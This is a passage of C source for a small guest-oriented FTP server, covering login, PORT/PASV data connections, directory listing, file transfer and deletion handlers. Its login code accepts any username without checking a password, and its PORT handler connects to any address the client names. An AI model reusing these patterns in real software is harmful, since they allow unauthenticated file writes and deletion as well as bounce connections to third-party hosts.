*argument = ptr; } else { *argument = NULL; ptr = msg; } ptr = strpbrk(ptr, "\r\n"); if (ptr) *ptr = 0; /* Convert command to std ftp upper case, issue #18 */ for (ptr = msg; *ptr; ++ptr) *ptr = toupper(*ptr); DBG("Recv: %s %s", *cmd, *argument ?: ""); return 0; } static int open_data_connection(ctrl_t *ctrl) { socklen_t len = sizeof(struct sockaddr); struct sockaddr_in sin; /* Previous PORT command from client */ if (ctrl->data_address[0]) { int rc; ctrl->data_sd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0); if (-1 == ctrl->data_sd) { ERR(errno, "Failed creating data socket"); return -1; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(ctrl->data_port); inet_aton(ctrl->data_address, &(sin.sin_addr)); rc = connect(ctrl->data_sd, (struct sockaddr *)&sin, len); if (rc == -1 && EINPROGRESS != errno) { ERR(errno, "Failed connecting data socket to client"); close(ctrl->data_sd); ctrl->data_sd = -1; return -1; } DBG("Connected successfully to client's previously requested address:PORT %s:%d", ctrl->data_address, ctrl->data_port); return 0; } /* Previous PASV command, accept connect from client */ if (ctrl->data_listen_sd > 0) { const int const_int_1 = 1; int retries = 3; char client_ip[100]; retry: ctrl->data_sd = accept(ctrl->data_listen_sd, (struct sockaddr *)&sin, &len); if (-1 == ctrl->data_sd) { if (EAGAIN == errno && --retries) { sleep(1); goto retry; } ERR(errno, "Failed accepting connection from client"); return -1; } setsockopt(ctrl->data_sd, SOL_SOCKET, SO_KEEPALIVE, &const_int_1, sizeof(const_int_1)); set_nonblock(ctrl->data_sd); inet_ntop(AF_INET, &(sin.sin_addr), client_ip, INET_ADDRSTRLEN); DBG("Client PASV data connection from %s:%d", client_ip, ntohs(sin.sin_port)); close(ctrl->data_listen_sd); ctrl->data_listen_sd = -1; } return 0; } static int close_data_connection(ctrl_t *ctrl) { int ret = 0; DBG("Closing data connection ..."); /* PASV server listening socket */ if (ctrl->data_listen_sd > 0) { shutdown(ctrl->data_listen_sd, SHUT_RDWR); close(ctrl->data_listen_sd); ctrl->data_listen_sd = -1; ret++; } /* PASV client socket */ if (ctrl->data_sd > 0) { shutdown(ctrl->data_sd, SHUT_RDWR); close(ctrl->data_sd); ctrl->data_sd = -1; ret++; } /* PORT */ if (ctrl->data_address[0]) { ctrl->data_address[0] = 0; ctrl->data_port = 0; } return ret; } static int check_user_pass(ctrl_t *ctrl) { if (!ctrl->name[0]) return -1; if (!strcmp("anonymous", ctrl->name)) return 1; return 0; } static int do_abort(ctrl_t *ctrl) { if (ctrl->d || ctrl->d_num) { uev_io_stop(&ctrl->data_watcher); if (ctrl->d_num > 0) free(ctrl->d); ctrl->d_num = 0; ctrl->d = NULL; ctrl->i = 0; if (ctrl->file) free(ctrl->file); ctrl->file = NULL; } if (ctrl->file) { uev_io_stop(&ctrl->data_watcher); free(ctrl->file); ctrl->file = NULL; } if (ctrl->fp) { fclose(ctrl->fp); ctrl->fp = NULL; } ctrl->pending = 0; ctrl->offset = 0; return close_data_connection(ctrl); } static void handle_ABOR(ctrl_t *ctrl, char *arg) { DBG("Aborting any current transfer ..."); if (do_abort(ctrl)) send_msg(ctrl->sd, "426 Connection closed; transfer aborted.\r\n"); send_msg(ctrl->sd, "226 Closing data connection.\r\n"); } static void handle_USER(ctrl_t *ctrl, char *name) { if (ctrl->name[0]) { ctrl->name[0] = 0; ctrl->pass[0] = 0; } if (name) { strlcpy(ctrl->name, name, sizeof(ctrl->name)); if (check_user_pass(ctrl) == 1) { INFO("Guest logged in from %s", ctrl->clientaddr); send_msg(ctrl->sd, "230 Guest login OK, access restrictions apply.\r\n"); } else { send_msg(ctrl->sd, "331 Login OK, please enter password.\r\n"); } } else { send_msg(ctrl->sd, "530 You must input your name.\r\n"); } } static void handle_PASS(ctrl_t *ctrl, char *pass) { if (!ctrl->name[0]) { send_msg(ctrl->sd, "503 No username given.\r\n"); return; } strlcpy(ctrl->pass, pass, sizeof(ctrl->pass)); if (check_user_pass(ctrl) < 0) { LOG("User %s from %s, invalid password!", ctrl->name, ctrl->clientaddr); send_msg(ctrl->sd, "530 username or password is unacceptable\r\n"); return; } INFO("User %s login from %s", ctrl->name, ctrl->clientaddr); send_msg(ctrl->sd, "230 Guest login OK, access restrictions apply.\r\n"); } static void handle_SYST(ctrl_t *ctrl, char *arg) { char system[] = "215 UNIX Type: L8\r\n"; send_msg(ctrl->sd, system); } static void handle_TYPE(ctrl_t *ctrl, char *argument) { char type[24] = "200 Type set to I.\r\n"; char unknown[] = "501 Invalid argument to TYPE.\r\n"; if (!argument) argument = "Z"; switch (argument[0]) { case 'A': ctrl->type = TYPE_A; /* ASCII */ break; case 'I': ctrl->type = TYPE_I; /* IMAGE/BINARY */ break; default: send_msg(ctrl->sd, unknown); return; } type[16] = argument[0]; send_msg(ctrl->sd, type); } static void handle_PWD(ctrl_t *ctrl, char *arg) { char buf[sizeof(ctrl->cwd) + 10]; snprintf(buf, sizeof(buf), "257 \"%s\"\r\n", ctrl->cwd); send_msg(ctrl->sd, buf); } static void handle_CWD(ctrl_t *ctrl, char *path) { struct stat st; char *dir; if (!path) goto done; /* * Some FTP clients, most notably Chrome, use CWD to check if an * entry is a file or directory. */ dir = compose_abspath(ctrl, path); if (!dir || stat(dir, &st) || !S_ISDIR(st.st_mode)) { DBG("chrooted:%d, ctrl->cwd: %s, home:%s, dir:%s, len:%zd, dirlen:%zd", chrooted, ctrl->cwd, home, dir, strlen(home), strlen(dir)); send_msg(ctrl->sd, "550 No such directory.\r\n"); return; } if (!chrooted) { size_t len = strlen(home); DBG("non-chrooted CWD, home:%s, dir:%s, len:%zd, dirlen:%zd", home, dir, len, strlen(dir)); dir += len; } snprintf(ctrl->cwd, sizeof(ctrl->cwd), "%s", dir); if (ctrl->cwd[0] == 0) snprintf(ctrl->cwd, sizeof(ctrl->cwd), "/"); done: DBG("New CWD: '%s'", ctrl->cwd); send_msg(ctrl->sd, "250 OK\r\n"); } static void handle_CDUP(ctrl_t *ctrl, char *path) { handle_CWD(ctrl, ".."); } static void handle_PORT(ctrl_t *ctrl, char *str) { int a, b, c, d, e, f; char addr[INET_ADDRSTRLEN]; struct sockaddr_in sin; if (ctrl->data_sd > 0) { uev_io_stop(&ctrl->data_watcher); close(ctrl->data_sd); ctrl->data_sd = -1; } /* Convert PORT command's argument to IP address + port */ sscanf(str, "%d,%d,%d,%d,%d,%d", &a, &b, &c, &d, &e, &f); sprintf(addr, "%d.%d.%d.%d", a, b, c, d); /* Check IPv4 address using inet_aton(), throw away converted result */ if (!inet_aton(addr, &(sin.sin_addr))) { ERR(0, "Invalid address '%s' given to PORT command", addr); send_msg(ctrl->sd, "500 Illegal PORT command.\r\n"); return; } strlcpy(ctrl->data_address, addr, sizeof(ctrl->data_address)); ctrl->data_port = e * 256 + f; DBG("Client PORT command accepted for %s:%d", ctrl->data_address, ctrl->data_port); send_msg(ctrl->sd, "200 PORT command successful.\r\n"); } static void handle_EPRT(ctrl_t *ctrl, char *str) { send_msg(ctrl->sd, "502 Command not implemented.\r\n"); } static char *mode_to_str(mode_t m) { static char str[11]; snprintf(str, sizeof(str), "%c%c%c%c%c%c%c%c%c%c", S_ISDIR(m) ? 'd' : '-', m & S_IRUSR ? 'r' : '-', m & S_IWUSR ? 'w' : '-', m & S_IXUSR ? 'x' : '-', m & S_IRGRP ? 'r' : '-', m & S_IWGRP ? 'w' : '-', m & S_IXGRP ? 'x' : '-', m & S_IROTH ? 'r' : '-', m & S_IWOTH ? 'w' : '-', m & S_IXOTH ? 'x' : '-'); return str; } static char *time_to_str(time_t mtime) { struct tm *t = localtime(&mtime); static char str[20]; setlocale(LC_TIME, "C"); strftime(str, sizeof(str), "%b %e %H:%M", t); return str; } static char *mlsd_time(time_t mtime) { struct tm *t = localtime(&mtime); static char str[20]; strftime(str, sizeof(str), "%Y%m%d%H%M%S", t); return str; } static const char *mlsd_type(char *name, int mode) { if (!strcmp(name, ".")) return "cdir"; if (!strcmp(name, "..")) return "pdir"; return S_ISDIR(mode) ? "dir" : "file"; } void mlsd_fact(char fact, char *buf, size_t len, char *name, char *perms, struct stat *st) { char size[20]; switch (fact) { case 'm': strlcat(buf, "modify=", len); strlcat(buf, mlsd_time(st->st_mtime), len); break; case 'p': strlcat(buf, "perm=", len); strlcat(buf, perms, len); break; case 't': strlcat(buf, "type=", len); strlcat(buf, mlsd_type(name, st->st_mode), len); break; case 's': if (S_ISDIR(st->st_mode)) return; snprintf(size, sizeof(size), "size=%" PRIu64, st->st_size); strlcat(buf, size, len); break; default: return; } strlcat(buf, ";", len); } static void mlsd_printf(ctrl_t *ctrl, char *buf, size_t len, char *path, char *name, struct stat *st) { char perms[10] = ""; int ro = !access(path, R_OK); int rw = !access(path, W_OK); if (S_ISDIR(st->st_mode)) { /* XXX: Verify 'e' by checking that we can CD to the 'name' */ if (ro) strlcat(perms, "le", sizeof(perms)); if (rw) strlcat(perms, "pc", sizeof(perms)); /* 'd' RMD, 'm' MKD */ } else { if (ro) strlcat(perms, "r", sizeof(perms)); if (rw) strlcat(perms, "w", sizeof(perms)); /* 'f' RNFR, 'd' DELE */ } memset(buf, 0, len); if (ctrl->d_num == -1 && (ctrl->list_mode & 0x0F) == 2) strlcat(buf, " ", len); for (int i = 0; ctrl->facts[i]; i++) mlsd_fact(ctrl->facts[i], buf, len, name, perms, st); strlcat(buf, " ", len); strlcat(buf, name, len); strlcat(buf, "\r\n", len); } static int list_printf(ctrl_t *ctrl, char *buf, size_t len, char *path, char *name) { int dirs; int mode = ctrl->list_mode; struct stat st; if (stat(path, &st)) return -1; dirs = mode & 0xF0; mode = mode & 0x0F; if (dirs && !S_ISDIR(st.st_mode)) return 1; if (!dirs && S_ISDIR(st.st_mode)) return 1; switch (mode) { case 3: /* MLSD */ /* fallthrough */ case 2: /* MLST */ mlsd_printf(ctrl, buf, len, path, name, &st); break; case 1: /* NLST */ snprintf(buf, len, "%s\r\n", name); break; case 0: /* LIST */ snprintf(buf, len, "%s 1 %5d %5d %12" PRIu64 " %s %s\r\n", mode_to_str(st.st_mode), 0, 0, (uint64_t)st.st_size, time_to_str(st.st_mtime), name); break; } return 0; } static void do_MLST(ctrl_t *ctrl) { size_t len = 0; char buf[512] = { 0 }; int sd = ctrl->sd; if (ctrl->data_sd != -1) sd = ctrl->data_sd; snprintf(buf, sizeof(buf), "250- Listing %s\r\n", ctrl->file); len = strlen(buf); if (list_printf(ctrl, &buf[len], sizeof(buf) - len, ctrl->file, basename(ctrl->file))) { do_abort(ctrl); send_msg(ctrl->sd, "550 No such file or directory.\r\n"); return; } strlcat(buf, "250 End.\r\n", sizeof(buf)); send_msg(sd, buf); } static void do_MLSD(ctrl_t *ctrl) { char buf[512] = { 0 }; if (list_printf(ctrl, buf, sizeof(buf), ctrl->file, basename(ctrl->file))) { do_abort(ctrl); send_msg(ctrl->sd, "550 No such file or directory.\r\n"); return; } send_msg(ctrl->data_sd, buf); send_msg(ctrl->sd, "226 Transfer complete.\r\n"); } static void do_LIST(uev_t *w, void *arg, int events) { ctrl_t *ctrl = (ctrl_t *)arg; struct timeval tv; ssize_t bytes; char buf[BUFFER_SIZE] = { 0 }; if (UEV_ERROR == events || UEV_HUP == events) { uev_io_start(w); return; } /* Reset inactivity timer. */ uev_timer_set(&ctrl->timeout_watcher, INACTIVITY_TIMER, 0); if (ctrl->d_num == -1) { if (ctrl->list_mode == 3) do_MLSD(ctrl); else do_MLST(ctrl); do_abort(ctrl); return; } gettimeofday(&tv, NULL); if (tv.tv_sec - ctrl->tv.tv_sec > 3) { DBG("Sending LIST entry %d of %d to %s ...", ctrl->i, ctrl->d_num, ctrl->clientaddr); ctrl->tv.tv_sec = tv.tv_sec; } ctrl->list_mode |= (ctrl->pending ? 0 : 0x80); while (ctrl->i < ctrl->d_num) { struct dirent *entry; char *name, *path; char cwd[PATH_MAX]; entry = ctrl->d[ctrl->i++]; name = entry->d_name; DBG("Found directory entry %s", name); if ((!strcmp(name, ".") || !strcmp(name, "..")) && ctrl->list_mode < 2) continue; snprintf(cwd, sizeof(cwd), "%s%s%s", ctrl->file, ctrl->file[strlen(ctrl->file) - 1] == '/' ? "" : "/", name); path = compose_path(ctrl, cwd); if (!path) { fail: LOGIT(LOG_INFO, errno, "Failed reading status for %s", path ? path : name); continue; } switch (list_printf(ctrl, buf, sizeof(buf), path, name)) { case -1: goto fail; case 1: continue; default: break; } DBG("LIST %s", buf); free(entry); bytes = send(ctrl->data_sd, buf, strlen(buf), 0); if (-1 == bytes) { if (ECONNRESET == errno) DBG("Connection reset by client."); else ERR(errno, "Failed sending file %s to client", ctrl->file); while (ctrl->i < ctrl->d_num) { struct dirent *entry = ctrl->d[ctrl->i++]; free(entry); } do_abort(ctrl); send_msg(ctrl->sd, "426 TCP connection was established but then broken!\r\n"); } return; } ctrl->list_mode &= 0x0F; /* Rewind and list files */ if (ctrl->pending == 0) { ctrl->pending++; ctrl->i = 0; return; } do_abort(ctrl); send_msg(ctrl->sd, "226 Transfer complete.\r\n"); } static void list(ctrl_t *ctrl, char *arg, int mode) { char *path; if (string_valid(arg)) { char *ptr, *quot; /* Check if client sends ls arguments ... */ ptr = arg; while (*ptr) { if (isspace(*ptr)) ptr++; if (*ptr == '-') { while (*ptr && !isspace(*ptr)) ptr++; } break; } /* Strip any "" from "<arg>" */ while ((quot = strchr(ptr, '"'))) { char *ptr2; ptr2 = strchr(&quot[1], '"'); if (ptr2) { memmove(ptr2, &ptr2[1], strlen(ptr2)); memmove(quot, &quot[1], strlen(quot)); } } arg = ptr; } if (mode >= 2) path = compose_abspath(ctrl, arg); else path = compose_path(ctrl, arg); if (!path) { send_msg(ctrl->sd, "550 No such file or directory.\r\n"); return; } ctrl->list_mode = mode; ctrl->file = strdup(arg ? arg : ""); ctrl->i = 0; ctrl->d_num = scandir(path, &ctrl->d, NULL, alphasort); if (ctrl->d_num == -1) { send_msg(ctrl->sd, "550 No such file or directory.\r\n"); DBG("Failed reading directory '%s': %s", path, strerror(errno)); return; } DBG("Reading directory %s ... %d number of entries", path, ctrl->d_num); if (ctrl->data_sd > -1) { send_msg(ctrl->sd, "125 Data connection already open; transfer starting.\r\n"); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_LIST, ctrl, ctrl->data_sd, UEV_WRITE); return; } do_PORT(ctrl, 1); } static void handle_LIST(ctrl_t *ctrl, char *arg) { list(ctrl, arg, 0); } static void handle_NLST(ctrl_t *ctrl, char *arg) { list(ctrl, arg, 1); } static void handle_MLST(ctrl_t *ctrl, char *arg) { list(ctrl, arg, 2); } static void handle_MLSD(ctrl_t *ctrl, char *arg) { list(ctrl, arg, 3); } static void do_pasv_connection(uev_t *w, void *arg, int events) { ctrl_t *ctrl = (ctrl_t *)arg; int rc = 0; if (UEV_ERROR == events || UEV_HUP == events) { DBG("error on data_listen_sd ..."); uev_io_start(w); return; } DBG("Event on data_listen_sd ..."); uev_io_stop(&ctrl->data_watcher); if (open_data_connection(ctrl)) return; switch (ctrl->pending) { case 3: /* fall-through */ case 2: if (ctrl->offset) rc = fseek(ctrl->fp, ctrl->offset, SEEK_SET); if (rc) { do_abort(ctrl); send_msg(ctrl->sd, "551 Failed seeking to that position in file.\r\n"); return; } /* fall-through */ case 1: break; default: DBG("No pending command, waiting ..."); return; } switch (ctrl->pending) { case 3: /* STOR */ DBG("Pending STOR, starting ..."); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_STOR, ctrl, ctrl->data_sd, UEV_READ); break; case 2: /* RETR */ DBG("Pending RETR, starting ..."); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_RETR, ctrl, ctrl->data_sd, UEV_WRITE); break; case 1: /* LIST */ DBG("Pending LIST, starting ..."); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_LIST, ctrl, ctrl->data_sd, UEV_WRITE); break; } if (ctrl->pending == 1 && ctrl->list_mode == 2) send_msg(ctrl->sd, "150 Opening ASCII mode data connection for MLSD.\r\n"); else send_msg(ctrl->sd, "150 Data connection accepted; transfer starting.\r\n"); ctrl->pending = 0; } static int do_PASV(ctrl_t *ctrl, char *arg, struct sockaddr *data, socklen_t *len) { struct sockaddr_in server; if (ctrl->data_sd > 0) { close(ctrl->data_sd); ctrl->data_sd = -1; } if (ctrl->data_listen_sd > 0) close(ctrl->data_listen_sd); ctrl->data_listen_sd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0); if (ctrl->data_listen_sd < 0) { ERR(errno, "Failed opening data server socket"); send_msg(ctrl->sd, "426 Internal server error.\r\n"); return 1; } memset(&server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(ctrl->serveraddr); server.sin_port = htons(0); if (bind(ctrl->data_listen_sd, (struct sockaddr *)&server, sizeof(server)) < 0) { ERR(errno, "Failed binding to client socket"); send_msg(ctrl->sd, "426 Internal server error.\r\n"); close(ctrl->data_listen_sd); ctrl->data_listen_sd = -1; return 1; } INFO("Data server port estabished. Waiting for client to connect ..."); if (listen(ctrl->data_listen_sd, 1) < 0) { ERR(errno, "Client data connection failure"); send_msg(ctrl->sd, "426 Internal server error.\r\n"); close(ctrl->data_listen_sd); ctrl->data_listen_sd = -1; return 1; } memset(data, 0, sizeof(*data)); if (-1 == getsockname(ctrl->data_listen_sd, data, len)) { ERR(errno, "Cannot determine our address, need it if client should connect to us"); close(ctrl->data_listen_sd); ctrl->data_listen_sd = -1; return 1; } uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_pasv_connection, ctrl, ctrl->data_listen_sd, UEV_READ); return 0; } static void handle_PASV(ctrl_t *ctrl, char *arg) { struct sockaddr_in data; socklen_t len = sizeof(data); char *msg, *p, buf[200]; int port; if (do_PASV(ctrl, arg, (struct sockaddr *)&data, &len)) return; /* Convert server IP address and port to comma separated list */ msg = strdup(ctrl->serveraddr); if (!msg) { send_msg(ctrl->sd, "426 Internal server error.\r\n"); exit(1); } p = msg; while ((p = strchr(p, '.'))) *p++ = ','; port = ntohs(data.sin_port); snprintf(buf, sizeof(buf), "227 Entering Passive Mode (%s,%d,%d)\r\n", msg, port / 256, port % 256); send_msg(ctrl->sd, buf); free(msg); } static void handle_EPSV(ctrl_t *ctrl, char *arg) { struct sockaddr_in data; socklen_t len = sizeof(data); char buf[200]; if (string_valid(arg) && string_case_compare(arg, "ALL")) { send_msg(ctrl->sd, "200 Command OK\r\n"); return; } if (do_PASV(ctrl, arg, (struct sockaddr *)&data, &len)) return; snprintf(buf, sizeof(buf), "229 Entering Extended Passive Mode (|||%d|)\r\n", ntohs(data.sin_port)); send_msg(ctrl->sd, buf); } static void do_RETR(uev_t *w, void *arg, int events) { ctrl_t *ctrl = (ctrl_t *)arg; struct timeval tv; ssize_t bytes; size_t num; char buf[BUFFER_SIZE]; if (UEV_ERROR == events || UEV_HUP == events) { DBG("error on data_sd ..."); uev_io_start(w); return; } if (!ctrl->fp) { DBG("no fp for RETR, bailing."); return; } num = fread(buf, sizeof(char), sizeof(buf), ctrl->fp); if (!num) { if (feof(ctrl->fp)) INFO("User %s from %s downloaded %s", ctrl->name, ctrl->clientaddr, ctrl->file); else if (ferror(ctrl->fp)) ERR(0, "Error while reading %s", ctrl->file); do_abort(ctrl); send_msg(ctrl->sd, "226 Transfer complete.\r\n"); return; } /* Reset inactivity timer. */ uev_timer_set(&ctrl->timeout_watcher, INACTIVITY_TIMER, 0); gettimeofday(&tv, NULL); if (tv.tv_sec - ctrl->tv.tv_sec > 3) { DBG("Sending %zd bytes of %s to %s ...", num, ctrl->file, ctrl->clientaddr); ctrl->tv.tv_sec = tv.tv_sec; } bytes = send(ctrl->data_sd, buf, num, 0); if (-1 == bytes) { if (ECONNRESET == errno) DBG("Connection reset by client."); else ERR(errno, "Failed sending file %s to client", ctrl->file); do_abort(ctrl); send_msg(ctrl->sd, "426 TCP connection was established but then broken!\r\n"); } } /* * Check if previous command was PORT, then connect to client and * transfer file/listing similar to what's done for PASV conns. */ static void do_PORT(ctrl_t *ctrl, int pending) { if (!ctrl->data_address[0]) { /* Check if previous command was PASV */ if (ctrl->data_sd == -1 && ctrl->data_listen_sd == -1) { if (pending == 1 && ctrl->d_num == -1) do_MLST(ctrl); return; } ctrl->pending = pending; return; } if (open_data_connection(ctrl)) { do_abort(ctrl); send_msg(ctrl->sd, "425 TCP connection cannot be established.\r\n"); return; } if (pending != 1 || ctrl->list_mode != 2) send_msg(ctrl->sd, "150 Data connection opened; transfer starting.\r\n"); switch (pending) { case 3: uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_STOR, ctrl, ctrl->data_sd, UEV_READ); break; case 2: uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_RETR, ctrl, ctrl->data_sd, UEV_WRITE); break; case 1: uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_LIST, ctrl, ctrl->data_sd, UEV_WRITE); break; } ctrl->pending = 0; } static void handle_RETR(ctrl_t *ctrl, char *file) { FILE *fp; char *path; struct stat st; path = compose_abspath(ctrl, file); if (!path || stat(path, &st) || !S_ISREG(st.st_mode)) { send_msg(ctrl->sd, "550 Not a regular file.\r\n"); return; } fp = fopen(path, "rb"); if (!fp) { if (errno != ENOENT) ERR(errno, "Failed RETR %s for %s", path, ctrl->clientaddr); send_msg(ctrl->sd, "451 Trouble to RETR file.\r\n"); return; } ctrl->fp = fp; ctrl->file = strdup(file); if (ctrl->data_sd > -1) { if (ctrl->offset) { DBG("Previous REST %ld of file size %ld", ctrl->offset, st.st_size); if (fseek(fp, ctrl->offset, SEEK_SET)) { do_abort(ctrl); send_msg(ctrl->sd, "551 Failed seeking to that position in file.\r\n"); return; } } send_msg(ctrl->sd, "125 Data connection already open; transfer starting.\r\n"); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_RETR, ctrl, ctrl->data_sd, UEV_WRITE); return; } do_PORT(ctrl, 2); } static void handle_MDTM(ctrl_t *ctrl, char *file) { struct stat st; struct tm *tm; char *path, *ptr; char *mtime = NULL; char buf[80]; /* Request to set mtime, ncftp does this */ ptr = strchr(file, ' '); if (ptr) { *ptr++ = 0; mtime = file; file = ptr; } path = compose_abspath(ctrl, file); if (!path || stat(path, &st) || !S_ISREG(st.st_mode)) { send_msg(ctrl->sd, "550 Not a regular file.\r\n"); return; } if (mtime) { struct timespec times[2] = { { 0, UTIME_OMIT }, { 0, 0 } }; struct tm tm; int rc; if (!strptime(mtime, "%Y%m%d%H%M%S", &tm)) { fail: send_msg(ctrl->sd, "550 Invalid time format\r\n"); return; } times[1].tv_sec = mktime(&tm); rc = utimensat(0, path, times, 0); if (rc) { ERR(errno, "Failed setting MTIME %s of %s", mtime, file); goto fail; } (void)stat(path, &st); } tm = gmtime(&st.st_mtime); strftime(buf, sizeof(buf), "213 %Y%m%d%H%M%S\r\n", tm); send_msg(ctrl->sd, buf); } static void do_STOR(uev_t *w, void *arg, int events) { ctrl_t *ctrl = (ctrl_t *)arg; struct timeval tv; ssize_t bytes; size_t num; char buf[BUFFER_SIZE]; if (UEV_ERROR == events || UEV_HUP == events) { DBG("error on data_sd ..."); uev_io_start(w); return; } if (!ctrl->fp) { DBG("no fp for STOR, bailing."); return; } /* Reset inactivity timer. */ uev_timer_set(&ctrl->timeout_watcher, INACTIVITY_TIMER, 0); bytes = recv(ctrl->data_sd, buf, sizeof(buf), 0); if (bytes < 0) { if (ECONNRESET == errno) DBG("Connection reset by client."); else ERR(errno, "Failed receiving file %s from client", ctrl->file); do_abort(ctrl); send_msg(ctrl->sd, "426 TCP connection was established but then broken!\r\n"); return; } if (bytes == 0) { INFO("User %s at %s uploaded file %s", ctrl->name, ctrl->clientaddr, ctrl->file); do_abort(ctrl); send_msg(ctrl->sd, "226 Transfer complete.\r\n"); return; } gettimeofday(&tv, NULL); if (tv.tv_sec - ctrl->tv.tv_sec > 3) { DBG("Receiving %zd bytes of %s from %s ...", bytes, ctrl->file, ctrl->clientaddr); ctrl->tv.tv_sec = tv.tv_sec; } num = fwrite(buf, 1, bytes, ctrl->fp); if ((size_t)bytes != num) ERR(errno, "552 Disk full."); } static void handle_STOR(ctrl_t *ctrl, char *file) { FILE *fp = NULL; char *path; int rc = 0; path = compose_abspath(ctrl, file); if (!path) { INFO("Invalid path for %s: %m", file); goto fail; } DBG("Trying to write to %s ...", path); fp = fopen(path, "wb"); if (!fp) { /* If EACCESS client is trying to do something disallowed */ ERR(errno, "Failed writing %s", path); fail: send_msg(ctrl->sd, "451 Trouble storing file.\r\n"); do_abort(ctrl); return; } ctrl->fp = fp; ctrl->file = strdup(file); if (ctrl->data_sd > -1) { if (ctrl->offset) rc = fseek(fp, ctrl->offset, SEEK_SET); if (rc) { do_abort(ctrl); send_msg(ctrl->sd, "551 Failed seeking to that position in file.\r\n"); return; } send_msg(ctrl->sd, "125 Data connection already open; transfer starting.\r\n"); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_STOR, ctrl, ctrl->data_sd, UEV_READ); return; } do_PORT(ctrl, 3); } static void handle_DELE(ctrl_t *ctrl, char *file) { char *path; path = compose_abspath(ctrl, file); if (!path) { ERR(errno, "Cannot find %s", file); goto fail; } if (remove(path)) { if (ENOENT == errno) fail: send_msg(ctrl->sd, "550 No such file or directory.\r\n"); else if (EPERM == errno) send_msg(ctrl->sd, "550 Not allowed to remove file or directory.\r\n"); else send_msg(ctrl->sd, "550 Unknown error.\r\n"); return; } send_msg(ctrl->sd, "200 Command OK\r\n"); } static void handle_MKD(ctrl_t *ctrl, char *arg) { char *path; path = compose_abspath(ctrl, arg); if (!path) { INFO("Invalid path for %s: %m", arg); goto fail; } if (mkdir(path, 0755)) { if (EPERM == errno) fail: send_msg(ctrl->sd, "550 Not allowed to create directory.\r\n"); else send_msg(ctrl->sd, "550 Unknown error.\r\n"); return; } send_msg(ctrl->sd, "200 Command OK\r\n"); } static void handle_RMD(ctrl_t *ctrl, char *arg) { handle_DELE(ctrl, arg); } static void handle_REST(ctrl_t *ctrl, char *arg) { const char *errstr; char buf[80]; if (!string_valid(arg)) { send_msg(ctrl->sd, "550 Invalid argument.\r\n"); return; } ctrl->offset = strtonum(arg, 0, INT64_MAX, &errstr); snprintf(buf, sizeof(buf), "350 Restarting at %ld. Send STOR or RETR to continue transfer.\r\n", ctrl->offset); send_msg(ctrl->sd, buf); } static size_t num_nl(char *file) { FILE *fp; char buf[80]; size_t len, num = 0; fp = fopen(file, "r"); if (!fp) return 0; do { char *ptr = buf; len = fread(buf, sizeof(char), sizeof(buf) - 1, fp); if (len > 0) { buf[len] = 0; while ((ptr = strchr(ptr, '\n'))) { ptr++; num++; } } } while (len > 0); fclose(fp); return num; } static void handle_SIZE(ctrl_t *ctrl, char *file) { char *path; char buf[80]; size_t extralen = 0; struct stat st; path = compose_abspath(ctrl, file); if (!path || stat(path, &st) || S_ISDIR(st.st_mode)) { send_msg(ctrl->sd, "550 No such file, or argument is a directory.\r\n"); return; } DBG("SIZE %s", path); if (ctrl->type == TYPE_A) extralen = num_nl(path); snprintf(buf, sizeof(buf), "213 %" PRIu64 "\r\n", (uint64_t)(st.st_size + extralen)); send_msg(ctrl->sd, buf); } /* No operation - used as session keepalive by clients. */ static void handle_NOOP(ctrl_t *ctrl, char *arg) { send_msg(ctrl->sd, "200 NOOP OK.\r\n"); } #if 0 static void handle_RNFR(ctrl_t *ctrl, char *arg) { } static void handle_RNTO(ctrl_t *ctrl, char *arg) { } #endif static void handle_QUIT(ctrl_t *ctrl, char *arg) { send_msg(ctrl->sd, "221 Goodbye.\r\n"); uev_exit(ctrl->ctx); } static void handle_CLNT(ctrl_t *ctrl, char *arg) { send_msg(ctrl->sd, "200 CLNT\r\n"); } static void handle_OPTS(ctrl_t *ctrl, char *arg) { /* OPTS MLST type;size;modify;perm; */ if (strstr(arg, "MLST")) { size_t i = 0; char *ptr; char buf[42] = "200 MLST OPTS "; char facts[10] = { 0 }; ptr = strtok(arg + 4, " \t;"); while (ptr && i < sizeof(facts) - 1) { if (!strcmp(ptr, "modify") || !strcmp(ptr, "perm") || !strcmp(ptr, "size") || !strcmp(ptr, "type")) { facts[i++] = ptr[0]; strlcat(buf, ptr, sizeof(buf)); strlcat(buf, ";", sizeof(buf)); } ptr = strtok(NULL, ";"); } strlcat(buf, "\r\n", sizeof(buf)); DBG("New MLSD facts: %s", facts); strlcpy(ctrl->facts, facts, sizeof(ctrl->facts)); send_msg(ctrl->sd, buf); } else send_msg(ctrl->sd, "200 UTF8 OPTS ON\r\n"); } static void handle_HELP(ctrl_t *ctrl, char *arg) { int i = 0; char buf[80]; ftp_cmd_t *cmd; if (string_valid(arg) && !string_compare(arg, "SITE")) { send_msg(ctrl->sd, "500 command HELP does not take any arguments on this server.\r\n"); return; } snprintf(ctrl->buf, ctrl->bufsz, "214-The following commands are recognized."); for (cmd = &supported[0]; cmd->command; cmd++, i++) { if (i % 14 == 0) strlcat(ctrl->buf, "\r\n", ctrl->bufsz); snprintf(buf, sizeof(buf), " %s", cmd->command); strlcat(ctrl->buf, buf, ctrl->bufsz); } snprintf(buf, sizeof(buf), "\r\n214 Help OK.\r\n"); strlcat(ctrl->buf, buf, ctrl->bufsz); send_msg(ctrl->sd, ctrl->buf); } static void handle_FEAT(ctrl_t *ctrl, char *arg) { snprintf(ctrl->buf, ctrl->bufsz, "211-Features:\r\n" " EPSV\r\n" " PASV\r\n" " SIZE\r\n" " UTF8\r\n" " REST STREAM\r\n" " MLST modify*;perm*;size*;type*;\r\n" "211 End\r\n"); send_msg(ctrl->sd, ctrl->buf); } static void handle_UNKNOWN(ctrl_t *ctrl, char *command) { char buf[128]; snprintf(buf, sizeof(buf), "500 command '%s' not recognized by server.\r\n", command); send_msg(ctrl->sd, 